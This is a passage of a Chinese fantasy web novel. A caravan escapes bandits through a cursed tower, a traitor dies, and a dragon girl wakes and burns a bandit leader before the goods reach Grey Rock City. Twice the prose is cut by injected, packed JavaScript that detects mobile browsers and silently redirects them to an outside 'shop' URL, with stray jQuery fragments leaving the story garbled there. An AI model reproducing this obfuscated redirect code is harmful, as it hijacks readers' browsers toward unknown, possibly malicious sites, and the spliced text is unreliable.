他顿了顿,看着俩人脸上将信将疑的神色,嗤笑一声:“我吃过的盐比你们吃过的饭多。听老头子一句,这塔邪门的很,里面的东西可不是我们能招惹的。让他们进去,也省得我们动手,如果他们侥幸没被里面的东西杀死。”
他后退了几步,找了个稍微凉快点的地方坐下,慢悠悠地说:“守住外面就行,他们,要么被塔里的东西弄死,要么……就得出来,我们就在这儿,等着捡现成的。”
刀疤脸和石鸦帮领头的面面相觑,但看着那火又看看老者,虽然不甘心,但也不敢贸然往里闯。他们是在刀口上混日子,但不代表他们不怕这种说不明道不清的怪东西,石塔这火,从他们有记忆开始,就一直没灭过。
最后,两人各啐了一口,骂骂咧咧的指挥手下先散开,然后包围了石塔,等着。
……
塔内。
几乎是踏入塔内的瞬间,一股阴冷潮湿的气息扑面而来,与外面的灼热形成了强烈的反差,激的祝梧心忍不住打了个寒颤。
里面漆黑一片,大盾赶紧把随身带的防风灯打开。
防风灯光芒有限,只能照亮有限的范围。
“头儿……那我们现在怎么办?”
一个年轻队员声音发颤地问,脸上还沾着不知是谁的血迹。
“都先检查一下,伤得重不重。”大盾压低声音。
闻言队员们互相搀扶,借着微弱的光检查彼此。
好在,没有人员伤亡,大多数都只挂了点彩,没有生命危险。
就在大家都松了一口气时,小1将那个被她打晕的内鬼拖了过来,像扔破麻袋一样丢在所有人面前。
内鬼痛哼了一声,慢慢转醒。
一睁眼,就对上了大盾几乎要喷火的眼睛。
他下意识往后躲。
“你个吃里爬外的狗东西!”大盾一步向前,猛地薅住他衣领,直接把他整个人提了起来,“老子哪里对不起你?兄弟们哪里对不起你?你你竟然勾结血狼团,想把我们全害死?!”
内鬼起初还瑟缩了一下,但在大盾的怒吼下,他脸上那点恐惧竟然被一种破罐子破摔的扭曲神情取代了。
他扯着嘴角,露出被烟草熏得发黄得牙齿,嗤笑一声:“对不起我?大盾,你说对不起我什么了?!”他声音骤然拔高,甚至还带了嘲讽,“是,你是没对不起我!你带着兄弟们一趟又一趟的送货,可搏命挣的那点卖命钱够干什么的?我天天把脑袋别在裤腰上,就为了那点钱?啊?!看看那些城里的老爷们,再看看血狼团他们抢一票能逍遥多久!我们呢?拼死拼活,到最后想吃顿像样的酒肉都得掂量半天!”
他越说越激动,唾沫星子几乎喷到大盾脸上:“凭什么!凭什么他们就能吃香的喝辣的,我们就得天天啃那硬得像石头的肉干,天天睡在冷风里?我呸!这种日子,老子早就过够了!钱才是真的,他们给钱,我就干!怎么了?!”
“你——!”大盾气的浑身发抖,扬起拳头就要砸下去。
内鬼目光看着即将落在自己脸上的拳头,目光冷冷扫过大盾,又扫过在场其他队员:“之前都是别人带的队出事儿,我对你们也够仁至义尽了。”
大盾终于知道,为什么别的车队总会遇到盗匪了。
“砰——”
“够了。”
内鬼吐出嘴里的血沫子,转头用被打的高高肿起来的眼眶看向祝梧心。
“我怎么忘了你了。”他扯着抽痛的嘴角又看向大盾,“你以为这女人就干净?”
大盾又举起拳头:“你还在胡说八道!”
“是又怎么样?”祝梧心望着他,眼神像望着一个将死之人。
大盾挥拳的手顿在半空,不可置信转头:“祝……祝管家?”
祝梧心看向大盾:“另外两拨盗匪,是我引来的。”
她顿了顿,“对不起。”
“是我让人泄露了路线。”
空气凝固了。
不光车队队员,连同被揍的鼻青脸肿的内鬼都震惊了,震惊她竟然这么容易就承认了。
大盾脸上的肌肉抽动了一下,他无法理解:“为什么?”
“我们的路线已经暴露了,无论我们撤退与否,被盗匪发现只是时间问题。”
祝梧心淡淡道,“只有让他们自己先打起来,我们才有活路。”
她只说了前半段,绝境中两害相权取其轻,后半段是,她想让他们三败俱伤,于是赌上了所有,包括她自己的命。
内鬼听完呸了一口带血的唾沫,阴阳怪气地又道:“听见了吗?大盾,你护着的这个女人,可比老子狠多了,老子只是想捞点钱,她这是要把所有人当诱饵!”
大盾猛地喘了口粗气,胸膛剧烈起伏,他看着祝梧心,眼神复杂,有愤怒,有失望,还有一丝被点醒后的害怕。他不是傻子,冷静下来一想,若非三方混战,血狼团的第一波突袭他们就未必能抗住。可这种被蒙在鼓里,生死不由自己掌控的感觉……
“头儿……”一个队员怯怯地喊了一声。大盾回头,是一张很年轻的脸,满脸惊恐,正不知所措地看着他,甚至除了喊一句头,他不知道该怎么办。
“我们还能出去吗?”他怯生生地问。
大盾深吸一口气,闭了闭眼,压下了翻腾的情绪。
现在不是内讧的时候。
他瞪了内鬼一眼,又看向祝梧心,哑声道:“……先想办法活下去再说。”
祝梧心与之对视:“嗯。”
塔内暂时安全,但外面被围着,里面也透着诡异。他高举防风灯,昏黄的光晕向四周扩开,光照范围勉强又扩大了点。
一个队员忽然颤抖着声音开口:“这……这塔怎么是往下走的?”
石塔里没有任何向上的楼梯,只有一道向下延伸的螺旋楼梯。
见状,祝梧心走到楼梯边缘。大盾立刻出声:“小心。”虽然被欺骗,但他看到这种情况还是忍不住出声。
祝梧心摇摇头,示意自己没事,又示意大盾把防风灯给她,大盾递过去,祝梧心举着灯探头向下望去。
只一眼就能感觉到,这楼梯深不见底。
“小1,”她低声道,“下方结构,能扫描吗?”
小1眼眸微光流转,片刻后回复道:“受到强烈未知能量场干扰,无法探测超过二十米深度,但未检测到即时生命威胁信号。”
外面盗匪的叫骂声隐隐约约传进来。
祝梧心转身,对大盾道:“我们没得选了。”
大盾脸色难看的看看塔门,他都能想象到现在这种情况,兄弟们如果落在盗匪手里会遭受什么,又看一眼深不见底的楼梯。
“妈的!”他低骂一声,认命了。
他正要走第一个,祝梧心却拦住了他。
“等等。”
“你又要干什么?!”因为兄弟们的安危,大盾此刻已经全然没有耐心了。
祝梧心自然感觉到了,但现在不是说这些的时候,她指了指那个内鬼:“让他走第一个。”
内鬼双眼瞪大了:“我不要走第一个!!!”
大盾立马一把薅他过来。
内鬼尖叫着。
大盾只当听不见。
随后大盾招呼着后面的兄弟,然后看向祝梧心,想了一下,道:“你们俩,一个走前面,一个断后。”
断后的自然是小1。
祝梧心不置可否,被坑成这样,大盾没直接杀了她已经很给面子了。
但小1不同意,她不会跟祝梧心分开。
祝梧心对小1摇摇头,然后靠近她,在她耳边压低声说:“有什么事,优先保护自己。”
小1还想说什么,就看到祝梧心直接走到前面,留给她一个背影。
楼梯盘旋向下。
防风灯的光线在这里格外微弱,只能照亮脚下几级台阶,所有人走的都很勉强。
那内鬼还不断叫唤,脚步声和惨叫声在寂静的空间里回荡,更阴森了。
越往下,温度越低。
祝梧心抿着唇,一只手扶着墙壁,另一只手拉高了毛衣领子,感觉呼出的气都变成了白雾。
“这鬼地方到底有多深……”一个年轻的队员忍不住小声说,声音带着颤抖。
没人回答他。
走了大约十几分钟,前方的内鬼突然发出一声短促的惊叫,脚下踉跄了一下,差点直接滚下去。
“鬼叫什么!”大盾低吼,立刻举着灯照过去。
灯光下,可以看到楼梯上散落着一些零碎的东西,颜色发着不正常的灰黑,像是被火烧过,又像是被强酸腐蚀过。
内鬼脸色煞白,指着那些东西,嘴唇哆嗦着说不出话。
“是……是之前进来的人?死了?”年轻队员的声音更抖了。
“恐怕是。”大盾沉声道,眉头拧成了疙瘩,“都小心点。”
这时,祝梧心看到那骨头碎片下面,好像还有块金色的东西,她蹲下,隔着毛衣袖子,小心拨弄了一下,然后捡了起来。借着防风灯的光亮,祝梧心检查了一下,没什么特别的,有点像身份牌,但上面的字已经锈蚀到看不清了。
“继续走吧。”祝梧心起身对大盾道,然后把牌子先揣进了自己口袋里。
看着她的举动大盾眉头皱的更紧了。在这种地方,碰根本不知道是什么的东西,这女人胆子是真的大。
不过也的确不能继续浪费时间,招呼一声,大家继续往下走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679173|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
内鬼哀嚎着不想走,被大盾狠狠地踹了一脚屁股。
队伍继续沉默地下行。
又向下大约走了半个小时,前面终于不是永无止境的楼梯了。
好像到了塔的最底下,豁然开朗。
放眼望去,前方不远处卧着一个庞然大物。
惨白惨白的骨架,骨架上还缠绕着的厚厚的、黏稠的黑色丝状物,远处看起来,像是一种巨大的巢穴。
最令人毛骨悚然的是——
周围还堆积着小山一样的各种各样的骸骨。
有人形的,有兽形的,层层叠叠,许多骸骨上都残留着武器劈砍或利齿撕咬的痕迹,但更多的,是像阶梯上发现的那样,呈现出诡异的灰黑色。
“我们……我们这是到了什么地方……”一个队员双腿发软,几乎要瘫倒在地。
就连大盾,也脸色煞白,握着战斧的手微微颤抖。但他是领队,不能乱。
祝梧心目光却被墙上的壁画吸引了,她示意大盾将灯光靠近些。
大盾不敢继续看前面的庞然大物,转头将灯光挪过去,照亮了部分壁画。
那壁画的内容光怪陆离,让人难以理解。
描绘的并不是任何已知的历史或传说场景,而是一些扭曲的星空、崩坏的天体、以及无数在虚空中痛苦挣扎、形态无法形容的阴影。
线条狂乱压抑,色彩黯淡却透着一种诡异的活动感,看久了让人头晕目眩,心底发毛。
“妈的,这画的什么鬼东西……”大盾已经感觉到不舒服了,啐了一口,赶紧移开视线。
祝梧心强迫自己继续看。
她目光顺着壁画的叙事方向移动,最后停在一副毁坏的并不是那么厉害的画上。
那上面描绘了一个被无数触须一样的光线缠绕着的人形,正站在一个祭坛上,双手高举,就好像在进行一种仪式。
而祭坛上空,天空撕裂,一只巨大的,布满血丝的眼睛,正冷漠地俯视着下方。
在这幅画的角落,还刻着一行字。
【窥视深渊者,终将为深渊所噬。】
防风灯的光芒映在她脸上明明灭灭,一股寒意顺着脊椎爬了上来。
她想到了林守恒笔记里那些近乎癫狂的记录。
“门后的低语”、“祂听到了”、“代价”……难道这个地方,和林守恒研究的那些东西有关?
她还没有细想,一声尖叫打断了她的思绪。
“啊——!”
走在最前面的内鬼突然发出一声凄厉到变调的惨叫,猛地向后跌倒,然后连滚带爬地抱住大盾的大腿,手指颤抖地指向骨架方向,脸色血色尽失。
“那里……那里有眼……眼睛!有只眼睛在看着我!!!”
所有人都被他突如其来的话吓得汗毛倒竖,齐刷刷看向骨架。
可哪里有什么眼睛?
依旧只有那巨大的骨架伫立在那里。
“你他妈瞎嚷嚷什么?!”大盾又惊又怒,一把揪住内鬼的衣领,试图把他从自己腿上扯下来,但内鬼力气大得惊人,像溺水者抓住最后一根浮木,死不撒手。
“真的!我真的看见了!”内鬼涕泪横流,语无伦次,“活的……会动……它在看我,啊啊啊啊啊他在看我啊啊啊啊啊啊啊啊!!!!”
其他队员被他吓得够呛,纷纷后退,警惕地望向那片惨白的巨大骨架,好像那里随时会扑出什么怪物。
祝梧心目光扫视着骨架方向。没有眼睛,至少,她的肉眼没有看到任何异常,其他人也和她一样,什么都没有看到。是内鬼精神崩溃产生的幻觉,还是……这东西只有他能看见?
就在这时,内鬼的叫声戛然而止。
他猛地松开了大盾,身体像提线木偶般突然僵硬地站直了,脸上的恐惧被一种诡异的空白取代。他歪着头,瞳孔涣散,嘴角却一点点向上扯开,露出一个令人毛骨悚然的微笑。
“嘻嘻……嘻嘻嘻……”他发出低低的、如同梦呓般的笑声,目光空洞地“看”着前方的骨架,“好漂亮……金色的……雨……”
随后,他伸出了双手。
像是要拥抱什么。
“不对……是虫子……爬进来了……爬进脑子里了……”他猛地抱住自己的头,指甲深深抠进头皮,留下血痕,“痒……好痒啊……帮我……把它们抓出来……”
队员们被他这诡异的行为吓得大气不敢出。
突然,内鬼停止了一切动作,他缓缓放下手,脸上露出一种近乎虔诚的痴迷。
“……是您在呼唤我吗?”他喃喃着,朝着骨架的方向,一步步走去,脚步虚浮,像是被什么东西牵引着。
“你干什么!回来!”大盾吼道,伸手想去拉他。
但他好像听不见一样,速度越来越快,越来越快,最后几乎是奔跑起来,直直冲向那堆积如山的骸骨。
在所有人惊骇的目光中,他猛地一头撞向一根突出的十分尖锐的巨大肋骨。
“噗嗤——”
……
鲜血从他额头汩汩涌出,迅速在他身下蔓延开一片暗红,可他脸上没有一丝痛苦,甚至嘴角还挂着满足的笑容。
死一般寂静。
所有人都被这突如其来又诡异的自杀惊呆了。
“操……”大盾低骂一声。
祝梧心胃里一阵翻江倒海,她死死咬住下唇,才没让自己吐出来。
就在所有人心神俱震,还没从内鬼诡异的死亡中回过神的时候。
“咔…咔……”
一阵细微的声响,从骨架深处传来。
所有人的心脏瞬间提到了嗓子眼。
12.第 12 章
在防风灯颤抖的光里,只见那骨架深处,有什么东西动了一下。
紧接着,一个身影,有些踉跄的,从骨架深处缓缓地走了出来。
那身影走得近了,众人才看清,是一个光着脚的少女。
身上穿着一件白色长裙,裙摆却像是被烈火燎过,边缘卷曲,残留着大片焦黑的痕迹。最惹眼的是她的一头长发,红的张扬,像瀑布一样披散到脚踝,脸精致的不像真人,肤色是一种长久不见天日的苍白,此刻她那双缓缓睁开的眼睛里,是没有一丝杂质的金色,但空茫茫的,没有任何情绪。
她就那样站着,歪了歪头,视线没有焦点地扫过眼前这一群不速之客。
祝梧心感觉自己后背出了一层冷汗。
如果她没看错,面前这个女孩,是龙族。
小1资料记载里,强大,稀少,高危的龙族。
站在最前面的大盾更是肌肉紧绷,握着战斧的手指关节捏的发白,他下意识上前半步,想把祝梧心挡在身后一点。
就是这个细微的动作。
红发少女空洞的金色眸子瞬间锁定了他,好像被冒犯了一样,里面倏地燃起一点暴戾的光,她喉咙里发出一点低低的嗬气,抬起一只手,五指微张,指尖有火光出现。
祝梧心脑子嗡的一声,危险!
她想动,但身体像是被冻住了一样,只能眼睁睁看着那只手抬起来。
就在这千钧一发之际,一道白色的身影毫不犹豫插了进来。
是小1。
她淡蓝色的眼眸里映出红发少女的身影。
红发少女抬起的手顿在了半空,金色的眼睛里闪过一丝困惑,紧接着那股暴戾的气息竟然瞬间退去,她看着小1,歪了歪头。
下一秒,她甚至往前凑近了一步,鼻尖轻轻抽动,像是在闻什么。
她闻了闻小1的脖颈,又凑到她脸颊,祝梧心看到她眉头一点点皱了起来。
所有人都屏住了呼吸,连大气都不敢喘,不知道这个红发少女到底要对小1做什么。
下一秒,在众人惊愕的注视下,红发少女突然伸出双手,一左一右,左右开弓,突然捏住了小1白皙的脸颊。
然后……用力往两边扯了扯。
动作有点蛮横,又带着点孩子气的探究。
小1任由她动作,只要不攻击所有者小姐,对她做什么都可以,只是她淡蓝色的眼睛还是微微眨了眨,数据无法分析面前的红发少女要做什么。
又扯了两下,红发少女似乎确认了什么,又像是觉得无聊了,猛地松手,随即毫不客气地用力一推。小1被她推的踉跄着向后,砰地一声坐在了地上,发出一声闷响。
祝梧心心脏一抽,下意识想去看小1的情况,但红发少女目光已经转向了她。
那双金色的眼睛直勾勾地看过来,祝梧心瞬间感觉全身血液倒流,垂在身侧的手不受控制地握紧。
红发少女靠近了她,带着一股灼热的气息。
预想中的攻击没有到来,祝梧心看到红发少女的注意力好像落在了她毛衣口袋上。
手伸了过来,直接探进了她的口袋。
祝梧心僵着身体,任由她动作。
少女从她口袋里掏出了那块在楼梯上见到的金色牌子,牌子在昏暗的灯光下,边缘反射出一点微弱却诱人的光。
少女金色的眸子倏地亮了一下,像是看到了什么绝世珍宝,瞬间燃起了狂热和欣喜。她拿着牌子,在自己脏兮兮的裙子上蹭了蹭,然后笨拙地将牌子往自己脖子上挂。
祝梧心恍然大悟,龙族的天性,喜欢金子各种亮闪闪的东西。
做完这一切,她又转向祝梧心,像刚才对待小1那样,凑近,鼻尖几乎要碰到祝梧心的脸颊。
温热甚至有些发烫的呼吸喷在皮肤上,祝梧心强忍着没有躲闪,任由她从自己脸颊闻到脖颈,最后,目光停在她另一个口袋上。
手再次伸了进去,这次,掏出来的是昨晚没吃完的用油纸抱着的半块肉干。
她拿着肉干,放在鼻子下深深吸了一口气,然后抬起头,金色的大眼睛看向祝梧心,伸出了手,掌心向上,意思明确的很。
还要。
祝梧心瞬间明白了。
立刻转头看向还在发愣的大盾。
大盾一个激灵反应过来,行忙从自己腰间的布包力掏出好几块用同样油纸包着的肉干,颤巍巍地递了过去。
红发少女一把抢过,看也没看大盾一眼,随后就好像他们所有人不存在了一样,她低头看着怀里的肉干,喉咙里发出满足的细微的咕噜声,然后越过他们,赤脚,踩着满地的狼藉,晃晃悠悠头也不会地朝他们来时的楼梯方向走去,身影很快没入黑暗,消失了。
……
死一般的寂静。
不多时,塔底只剩下众人粗重的呼吸声。
更多的是疑惑。
她就这么……走了?
所有人面面相觑,都从对方脸上看到了劫后余生的茫然还有不可置信。
“她……她到底是……”一个队员声音干涩地开口。
大盾:“不知道。”
祝梧心松了口气,赶紧过去把小1扶起来:“没事吧?”
小1摇摇头。
突然——
“轰隆!!!”
整个空间剧烈摇晃了一下。
“怎么回事?!”
“塔!是塔!要塌了!!!”
惊呼声中,祝梧心看到,红发少女走出来的地方,那个巨大的骨架,在少女离开后,就好像失去了支撑。
白骨散落,轰然坍塌。
而白骨原本盘踞的后面,露出了一个洞口。
“祝管家。”小1声音平稳,但语速快了些,“扫描显示出现新的通道,结构不稳定,但未检测到生命威胁。”
有没有威胁,这道门他们都得走了。
脚下的震动越来越厉害,头顶开始不断掉落碎石。
祝梧心当机立断:“走!快进去!”
求生的本能压倒了一切,车队成员也顾不得其他,护着货物,连滚带爬地冲向那个洞口。
……
石塔外。
正悠闲等着捡漏的三股盗匪,也被这突如其来的巨响和地动山摇吓了一跳。
“怎么回事儿?!”刀疤脸猛地跳起来。
老者眯着眼,看着那座开始剧烈抖动,表面不断掉落石块的石塔,脸色骤变:“不好!塔要塌了!退!快退开!”
然而他话音未落——
“轰!!!!!”
一声震耳欲聋的巨响,仿佛平地惊雷!
高耸的石塔,在他们惊恐的目光中,从中间开始崩裂,巨大的石块混合着不知道烧了多少年的火,陨石一样的砸向四周,地面瞬间被砸出深坑,火焰四溅!
盗匪们慌忙后退,躲避四处飞溅的碎石和火焰,乱成一团。
……
等到烟尘稍微散开,原本石塔伫立着的地方,只剩下废墟。
刀疤脸眼睁睁看着到嘴的肥肉连同石塔一起化为废墟,气得额角青筋暴跳,他猛地转身,一把薅住旁边老者的领子。老者本就矮小干瘦,竟被他直接拎得双脚离了地。
“都怪你这老杂毛!”刀疤脸目眦尽裂,唾沫星子几乎喷到老者脸上,刀抵在老者脖子上,“要不是你拦着,老子早就冲进去把货和人全都拿下了!现在好了,全他妈埋里面了!”
老者被他勒得脸色发青,喉咙里发出嗬嗬声,他手下见状,立刻拔出武器围上来,厉声喝道:“放开我们头儿!”
血狼团的人也拔刀。
石鸦帮老大的脸色也阴沉的能滴出水来,损失惨重却一无所获,任谁都憋一肚子火。但他目光扫过那片废墟的时候,忽然顿住了,抬手制止了越来越剑拔弩张的两拨人:“等等,”他道,“那边好像有个人影。”
刀疤脸闻言,凶狠的目光顺着石鸦帮老大所指的方向看过去,果然,废墟里,隐约能看到一个缓缓移动的红色身影。他愣了一下,随即呸了一口:“他奶奶的,还真有命大的!”
他非但没松手,反而将抵在老者脖子上的刀又往前送了点,恶声恶气的命令:“老东西,你过去,给老子看清到底是人是鬼。”
老者剧烈地咳嗽了几声,刀疤脸嫌恶地将他扔地上,一脚踹上他后腰,老者被踹的踉跄往前扑,浑浊的眼睛里闪过一丝阴骘。
走的近了,老者看清,那是一个穿着残破白裙的女孩,赤着双脚,火红的头发在烟尘弥漫的废墟中扎眼,她正低着头,专注地摆弄怀里的油纸包,堆周遭的环境浑然不觉。
老者停下脚步,回头高声道:“是个女人。”
“女人?”刀疤脸眉头拧紧,“就一个?活的?”
“就一个。”老者答道,目光再次落在女生那不寻常的发色和瞳色上,心里隐约闪过一个猜测,但又不能完全确定。
他微微侧头,用一种带着暗示的语气对刀疤脸道:“一个……非常漂亮的女人,非常漂亮。”
他太了解刀疤脸了。
贪婪,残暴,而且极其好色。
果然,刀疤脸一听漂亮女人四个字,眼瞬间亮了,连怒火都被他暂时抛到了脑后。他扛着刀快步走过来,咧开嘴,露出被烟草熏的发黄的牙齿,脸上堆起一个让人看了就恶心的笑容,余光瞥到还在一边碍事儿的老者:“滚滚滚,别碍老子好事儿!”像驱赶苍蝇一样,让老者离开,目光则黏在红发女生身上,从头到脚贪婪地打量着。
石鸦帮老大张了张嘴,这种地方莫名出现一个漂亮女人本来就不合理,刚想说别大意,却被老者一个隐晦的眼神制止了。两人视线交会的一瞬间,瞬间明白了彼此的心思。
刀疤脸是三方中最强也是最狂妄的,如果他折在这里……那裂变峡谷的资源,以后就是他们两家的了。
刀疤脸毫无察觉,他扛着大刀,迈着大步朝女生走过去。
女生终于被惊扰了,她抬起头,金色的眸子空洞地望向走近的人,歪了歪头,脸上没有任何表情,既没有恐惧,也没有厌恶,就像看一块会移动的石头。
“呦呵!”刀疤脸终于近距离看到了女生的脸,呼吸都窒了一下,肤色苍白却不影响面容的精致,上扬的眼角配上那双纯金色的瞳孔更是勾魂摄魄,他这辈子抢过不少女人,却从没见过这种绝色的。
“小美人儿,怎么一个人在这儿啊?”他看着女生手里的肉干,“是不是饿了啊?这样,你跟哥哥走,哥哥带你吃香的喝辣的怎么样?”
他嘴里叽里咕噜,伸出沾满血污的打手,直接就朝女生纤细的手臂抓去,不管她同不同意,都打算先将人掳走再说。
老者已经退到了相对安全的地方,看着刀疤脸不知死活地伸手,嘴角向上扯了扯,浑浊的眼睛里闪过一丝嘲讽,他甚至打了个手势,让自己的人再往后退开一些。
石鸦帮老大也握紧了武器,屏住呼吸,紧紧盯着前方。
就在刀疤脸手指即将触碰到女生的瞬间。
女生空洞的瞳孔里,好像有什么东西被点燃了。
像是上古沉睡中的神祇,忽然被蝼蚁惊扰,本能露出的不快。
她看着那只朝自己伸来的肮脏的手,轻轻蹙了一下眉毛。
然后,她张开了嘴。
没有发出任何声音。
刀疤脸甚至没来得及反应,那志在必得的□□笑容还凝固在脸上,下一秒,一股形容不了的热度瞬间包裹了他,接着视野被一片血红包裹,然后是深入骨髓,甚至要撕裂灵魂的剧痛!
他连一声声惨叫都没能完整发出,高大的身躯就像是被投入炼钢炉的冰块,在那道灼热的龙息中瞬间汽化。
哐当一声。
他握着的那把大刀掉在地上,下一秒,刀身迅速变得通红,软化,最后化成了一滩铁水。
原地,只留下一缕青烟,和一个模糊的人形焦痕。
整个过程快得不可思议。
老者脸上的皱纹死死地挤在一起,像风干的橘皮。他眼睁睁看着刀疤脸连惨叫都没来得及发出,就化作地上一道焦黑,一股寒气从脚底板直冲天灵盖,
他妈的!
跑!
几乎是凭着本能,他干瘦的身体爆发出不符合年纪的敏捷,他猛地向后退去。
然而,他还没刚挪动一点,就撞进了一双金色的眼眸里。
那双眼睛已经转向了他。
带着一丝不悦。
老者呼吸一窒,脚步瞬间僵住,再也不敢动了。
他能感觉到一股威压锁定了自己,那种威压比刀疤脸那把刀架在脖子上更让人恐惧,也更致命,他一点都不怀疑,但凡自己再动一下,下场绝对不会比刀疤脸好到哪去。
他僵在原地,额角冷汗顺着脸上皱纹滑落,滴进眼睛里,又涩又疼,他却连抬手去擦的勇气都没有。
石鸦帮老大更是面无血色,想带着手下赶紧撤退。
但已经晚了。
……
从那个骨架后的洞口钻出来时,祝梧心只觉得天旋地转。
她撑着发软的双腿站稳,第一时间看向身边的小1,小1白色的裙子脏了,但好在人没事,祝梧心就放心了。然后才有机会看向四周。
目之所及,全是废墟。
空气中弥漫着焦糊的味道。
就在废墟中的一块空地上,地面呈现出一种不正常的光泽,好像被极高的温度瞬间灼烧过一样,泛着琉璃质感,范围不大,但很明显。
在那片区域的边缘,还散落着一些扭曲变形,甚至部分熔融的金属,依稀能辨认出是武器和铠甲的部分。
但,没有尸体。
一具都没有。
只有地上模糊的烧焦的痕迹,和空中弥漫着的那股令人作呕的气味——人肉烧焦了的气味。
闻得祝梧心胃里一阵痉挛。
废墟之上,一时间只剩下风吹过断壁残垣的呜咽声,以及咀嚼东西的细微声响。
祝梧心看向声音来源。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687976|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>那里,刚才在塔底遇到的红发少女正安然地坐在一块石头上。
她依旧是那副对周遭一切漠不关心的样子,低着头,专注地捧着从祝梧心那里得来的油纸包,小口小口地咬着里面坚硬的肉干。金色的眸子低垂,长而卷翘的睫毛在苍白的脸上投下淡淡的阴影。那头火焰般的长发在废墟的风中微微拂动,与周围地狱般的景象形成了诡异而又和谐的对比。
车队队员们也注意到那边的景象,短暂的庆幸瞬间被恐惧取代。
大盾喉咙滚动了一下,脸上肌肉僵硬:“她……她干的?”
祝梧心没回答,但答案显而易见。
随后祝梧心示意车队成员保持安静,不要发出声响。
但目光依旧停留在红发少女身上,声音压得很低:“现在,什么都别做,等她吃完。”
任谁都看得出来,这个红发少女的状态很不对劲,好像介于一种懵懂和危险之间的平衡点上。贸然行动,谁也不知道会先打破哪一边。
于是,一行人就这么静静地站在原地,看着那红发少女慢条斯理地将怀里所有的肉干一块接一块地吃完。
她吃得很专注,偶尔会舔舔指尖,金色的眼睛满足地微微眯起。
直到最后一块肉干消灭殆尽,她意犹未尽地舔了舔唇,然后抬起头,目光再次落到了祝梧心身上。
祝梧心心头一紧。
红发少女朝她走了过来,赤脚踩过滚烫的碎石,仿佛没有知觉。她停在祝梧心面前,比她高了小半个头,带着热意的气息拂面而来。
她伸出空着的手,掌心向上,摊在祝梧心眼前。
还是那个意思。
要。
祝梧心:“……”刚才还像杀神一样的女生,现在怎么跟个小孩似的。
但她身上是真的没有肉干了,她下意识看向大盾。
大盾脸色变了变,手忙脚乱地在自己的腰包里翻找,最后只掏出一块被压得有些变形的肉干,颤巍巍地递过去。
红发少女一把抓过,看也没看就塞进了嘴里,三两下咽了下去,然后,继续盯着祝梧心,手还摊着。
“没了。”祝梧心试图跟她沟通,摊了摊手,“真的,一点都没有了。”
红发少女歪着头,金色的瞳孔里映出祝梧心无奈的脸。她好像听懂了,又好像没完全懂,眉头微微蹙起,似乎在思考。
几秒钟后,她转身,直接走了。
祝梧心愣住了。
这是什么发展?
大盾和其他队员也都面面相觑。
不多时,红发少女的身影在废墟深处晃了晃,消失了。
一个年轻的队员咽了口唾沫,声音带颤:“她……她这是要去哪?”
祝梧心收回目光,摇了摇头。“不知道。”她是真的不知道,但她也不想再探究了。
盗匪都死了,虽然过程偏离了她预想好的,但好在结果都一样,目的也算是用另一种方式达成了。既然目的达成了,就不要再去招惹那些不稳定的危险源了。
她转向一直沉默着的大盾:“继续送货吧,这次连累大家了,等到货之后,除了约定好的运费,我会再额外支付一笔费用,作为补偿。”
大盾看向祝梧心,又看了看身边惊魂未定却都安然无恙的兄弟们,最后目光落在完好无损的货物上,重重吐出一口气,点了点头。
“好。”
随后没再多说,只是转身,继续用他那粗狂的嗓音吆喝:“都别愣着了,检查一下,没问题继续动身了!”
队员们如梦初醒,赶紧行动,劫后余生的庆幸,让他们动作十分麻利,想赶紧结束这一切,他们从来没有像现在这样想念过家人。
没有了盗匪的骚扰,截下来的路程非常顺畅。
一路畅通无阻的穿过裂变峡谷剩下的路段,最后甚至比原计划还提前了一天到达了目的地。
灰岩城,城如其名。
用灰色的岩石筑成的城市,规模看起来不大,但很繁华。
高耸的城墙上有卫兵巡逻,城门口马车行人络绎不绝。
在城西一家门头是“锤子”招牌的工坊前,车队停了下来。
工坊负责人巴顿得到消息早就等候多时,见到车队和完好无损的货物,他脸上笑开了花,对祝梧心这个“亲自送货上门”的管家更是客气有加。
交接的很顺利。
三台S-03工程用仿生机器人被激活,运行参数一切正常,工作起来堪称完美。
巴顿痛快地支付了尾款,三百六十万灵晶币,看着账户里瞬间多出来的一长串数字,祝梧心心里一只紧绷的弦,终于稍微松了一点。
她当场结清了大盾他们的运费,并且跟约定一样额外支付了一笔丰厚的补偿金。
大盾看到到账的款项,愣了一下,抬头看向祝梧心,嘴唇动了动,想说什么,最后他看了看多少挂彩了的兄弟们,只闷声道:“多谢,祝管家。”这笔钱,足够他和兄弟们好好休整一阵子了。
“这是你们应得的。”祝梧心扫过这些也算是有过过命交情的队员们,“这一趟辛苦大家了,如果方便,我想请大家吃顿饭,不知道大家愿不愿意赏脸。”
队员们愣了一下。
祝梧心:“就在附近,找个能吃饭的地方。”
气氛又沉默了几秒。
大盾先反应过来,他看看兄弟们又看看祝梧心,咧嘴笑了笑:“成!既然是祝管家请客,兄弟们必须给面子!我知道前面拐角有家烤肉店,肉实在,酒也够劲儿!”
……
烤肉店里烟火气十足,大块的兽肉在铁板上滋滋作响,肉香混着麦芽醇厚的香气弥漫在空气里。
车队成员们围坐在一块,大声说笑,大口吃肉,大口喝酒。
祝梧心和小1坐在稍微靠边一桌。祝梧心默默吃着,动作斯文,与周围的喧闹显得有些格格不入,但其实,心里早就翻天了,烤肉入口的一刻,祝梧心感觉自己要热泪盈眶了,烤肉真的太好吃了呜呜呜。小1没有进食的需求,就安静的坐在她旁边。
